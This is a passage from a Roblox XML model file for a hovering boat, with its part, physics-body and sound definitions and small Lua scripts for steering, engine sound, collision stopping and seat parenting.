								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX3241">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">26</int>
							<CoordinateFrame name="CFrame">
								<X>-1611.5</X>
								<Y>9.5</Y>
								<Z>76</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">2</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Wire</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>5</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="CylinderMesh" referent="RBX3242">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="Bevel">0</float>
								<float name="Bevel Roundness">0</float>
								<float name="Bulge">0</float>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>0.100000001</X>
									<Y>1</Y>
									<Z>0.100000001</Z>
								</Vector3>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX3243">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
RTurn = false
LTurn = false
MoveR = false
MoveF = false
NotMoving = true 
engine = script.Parent.Base
position = engine.Velocity
bin.Base.BG.cframe = bin.Base.CFrame

function DirChng()
if VS.Steer == 1 then 
	RTurn = true
		while RTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, -VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == -1 then 
	LTurn = true 
		while LTurn do
			bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
			wait(0.1)
		end
else if VS.Steer == 0 then 
	RTurn = false
	LTurn = false 
end
end
end
end

VS.Changed:connect(DirChng)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="VehicleSeat" referent="RBX3244">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1588</X>
							<Y>5.5</Y>
							<Z>73</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<bool name="HeadsUpDisplay">true</bool>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<float name="MaxSpeed">0</float>
						<string name="Name">VehicleSeat</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<int name="Steer">0</int>
						<int name="Throttle">0</int>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Torque">1</float>
						<float name="Transparency">0</float>
						<float name="TurnSpeed">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX3245">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>-0.300000012</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0.400000006</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX3246">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-1597</X>
							<Y>3</Y>
							<Z>73</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Base</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>4</Y>
							<Z>30</Z>
						</Vector3>
					</Properties>
					<Item class="BlockMesh" referent="RBX3247">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX3248">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">BG</string>
							<float name="P">3000</float>
							<CoordinateFrame name="cframe">
								<X>154.300003</X>
								<Y>3.40003753</Y>
								<Z>53</Z>
								<R00>0</R00>
								<R01>0</R01>
								<R02>1</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>-1</R20>
								<R21>0</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>0</X>
								<Y>400000</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyVelocity" referent="RBX3249">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">BV</string>
							<float name="P">1250</float>
							<Vector3 name="maxForce">
								<X>1000000</X>
								<Y>0</Y>
								<Z>1000000</Z>
							</Vector3>
							<Vector3 name="velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyPosition" referent="RBX3250">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">1250</float>
							<string name="Name">Hover</string>
							<float name="P">10000</float>
							<Vector3 name="maxForce">
								<X>0</X>
								<Y>INF</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="position">
								<X>0</X>
								<Y>1</Y>
								<Z>0</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Sound" referent="RBX3251">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Looped">true</bool>
							<string name="Name">Engine</string>
							<float name="Pitch">6</float>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><url>http://www.roblox.com/asset/?id=13510352</url></Content>
							<float name="Volume">1</float>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3252">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">EngineScript</string>
							<ProtectedString name="Source">function OnF()
	script.Parent.Engine.Pitch = (script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function OnB()
	script.Parent.Engine.Pitch = -(script.Parent.Parent.VehicleSeat.MaxSpeed / 10) + 2.5
	script.Parent.Engine:play()
end

function Off()
	script.Parent.Engine:stop()
end

function Check()
	if script.Parent.Parent.VehicleSeat.MaxSpeed &gt; 0 then
		OnF()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed &lt; 0 then
		OnB()
	elseif script.Parent.Parent.VehicleSeat.MaxSpeed == 0 then
		Off()
	end
end

script.Parent.Parent.VehicleSeat.Changed:connect(Check)
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX3253">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-1587</X>
							<Y>0.5</Y>
							<Z>73</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Stabilizer</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.80298745e-020</X>
							<Y>4.65015091e-018</Y>
							<Z>2.80298745e-020</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.31804893e-017</X>
							<Y>-0.149598464</Y>
							<Z>2.31804893e-017</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX3254">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX3255">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">Stabilizer</string>
							<float name="P">200</float>
							<CoordinateFrame name="cframe">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>8.99999949e+009</X>
								<Y>0</Y>
								<Z>8.99999949e+009</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX3256">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1612.5</X>
							<Y>3</Y>
							<Z>73</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">RearTip</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX3257">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.600000024</X>
								<Y>1</Y>
								<Z>0.600000024</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3258">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">StopScript</string>
							<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX3259">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-1607</X>
							<Y>0.5</Y>
							<Z>73</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Stabilizer</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>2.80298745e-020</X>
							<Y>4.65015091e-018</Y>
							<Z>2.80298745e-020</Z>
						</Vector3>
						<float name="TopParamA">0</float>
						<float name="TopParamB">0</float>
						<token name="TopSurface">6</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>2.31804893e-017</X>
							<Y>-0.149598464</Y>
							<Z>2.31804893e-017</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="CylinderMesh" referent="RBX3260">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="BodyGyro" referent="RBX3261">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="D">500</float>
							<string name="Name">Stabilizer</string>
							<float name="P">200</float>
							<CoordinateFrame name="cframe">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<Vector3 name="maxTorque">
								<X>8.99999949e+009</X>
								<Y>0</Y>
								<Z>8.99999949e+009</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX3262">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">2</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1612.5</X>
							<Y>7</Y>
							<Z>73</Z>
							<R00>0</R00>
							<R01>-1</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>0</R11>
							<R12>1</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">2</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">SmokeEmitter</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX3263">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">1</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX3264">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1570</X>
							<Y>6</Y>
							<Z>73</Z>
							<R00>-0</R00>
							<R01>-0</R01>
							<R02>-1</R02>
							<R10>-0</R10>
							<R11>-1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>-0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Tip</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>12</X>
							<Y>2</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX3265">
						<Properties>
							<bool name="Archivable">true</bool>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3266">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">StopScript</string>
							<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX3267">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">ParentScript</string>
						<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3268">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
